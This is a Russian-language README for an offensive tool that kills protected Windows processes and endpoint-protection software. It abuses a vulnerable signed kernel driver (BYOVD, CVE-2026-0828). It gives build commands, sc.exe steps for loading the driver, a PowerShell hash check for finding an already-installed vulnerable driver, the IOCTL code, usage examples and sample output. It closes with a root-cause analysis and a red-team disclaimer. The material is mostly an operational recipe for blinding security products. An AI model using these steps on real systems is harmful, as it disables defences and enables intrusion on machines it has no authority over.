
Убийца процессов в режиме ядра, эксплуатирующий CVE-2026-0828 (BYOVD) для завершения защищённых процессов через уязвимый подписанный драйвер, в обход PPL и защиты конечных точек.
Инструмент завершения процессов в режиме ядра, использующий уязвимый драйвер (CVE-2026-0828) для остановки защищённых процессов из пользовательского режима.
Требуется MinGW-w64 (GCC) в Windows. Скомпилируйте с помощью:
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
Описание флагов:
| Флаг | Назначение |
|---|---|
--% | Токен PowerShell для остановки разбора (передаёт аргументы в g++ как есть) |
-Oz | Оптимизация для минимального размера |
-ffunction-sections / -fdata-sections | Размещает каждую функцию/данные в отдельной секции |
-static / -static-libgcc / -static-libstdc++ | Статическая компоновка (без зависимостей от DLL времени выполнения) |
-Wl,--gc-sections | Компоновщик удаляет неиспользуемые секции |
-W | Включить предупреждения |
Результат: автономный terminator.exe (~20-30 КБ, без отладочных символов).
Этот проект демонстрирует эксплуатацию уязвимого драйвера ядра (STProcessMonitorDriver), который предоставляет невалидированный обработчик IOCTL_KILL_PROCESS, позволяющий завершать произвольные процессы независимо от привилегий или механизмов защиты (PPL, флаги EPROCESS и т. д.).
| Компонент | Назначение |
|---|---|
terminator.cpp | Пользовательский клиент, который перечисляет процессы и отправляет IOCTL-запросы на завершение |
terminator.hpp | Интерфейс класса для перечисления и завершения процессов |
ProcessMonitorDriver.sys | Уязвимый драйвер ядра (внешний, не включён в комплект) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)Process32First/Process32NextTerminator::ProcessKill()
\\.\STProcessMonitorDriverIOCTL_KILL_PROCESS (0xB822200C) с 8-байтным буфером PIDЗагрузите уязвимый драйвер (требуются права администратора):
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
Если уязвимая версия ProcessMonitorDriver.sys уже установлена и работает как служба (например, от легитимного приложения), Terminator может подключиться напрямую без загрузки нового драйвера.
Проверьте, существует ли служба и запущена ли она:
sc.exe query STProcessMonitor
Проверьте, уязвима ли версия драйвера (PowerShell):
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
Если служба существует, находится в состоянии RUNNING и использует уязвимую версию, пропустите шаги загрузки драйвера и запустите Terminator напрямую.
| Версия | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
Другие версии также могут быть затронуты; перед использованием проверьте обработчик IOCTL драйвера.
terminator.exe -proc <process_name1> [process_name2] ...
Пример:
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
Уязвимость: драйвер STProcessMonitorDriver регистрирует обработчик IOCTL (0xB822200C), который:
PsLookupProcessByProcessId → ZwTerminateProcessSYSTEM), обходя все ACL пользовательского режимаВоздействие: любой пользователь без прав администратора, имеющий доступ к драйверу, может завершить:
SeDebugPrivilegeКорневая причина: отсутствует проверка ObReferenceObjectByHandle, нет вызова SeSinglePrivilegeCheck(SeDebugPrivilege) и нет проверок доступа к объекту процесса.
Этот инструмент предназначен только для санкционированных исследований безопасности и учений Red Team.
Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Автор не несёт ответственности за неправомерное использование. Перед развёртыванием в любой среде убедитесь, что у вас есть письменное разрешение.
Уязвимый драйвер (
ProcessMonitorDriver.sys) намеренно содержит дефекты для демонстрационных целей и никогда не должен разворачиваться в производственной среде.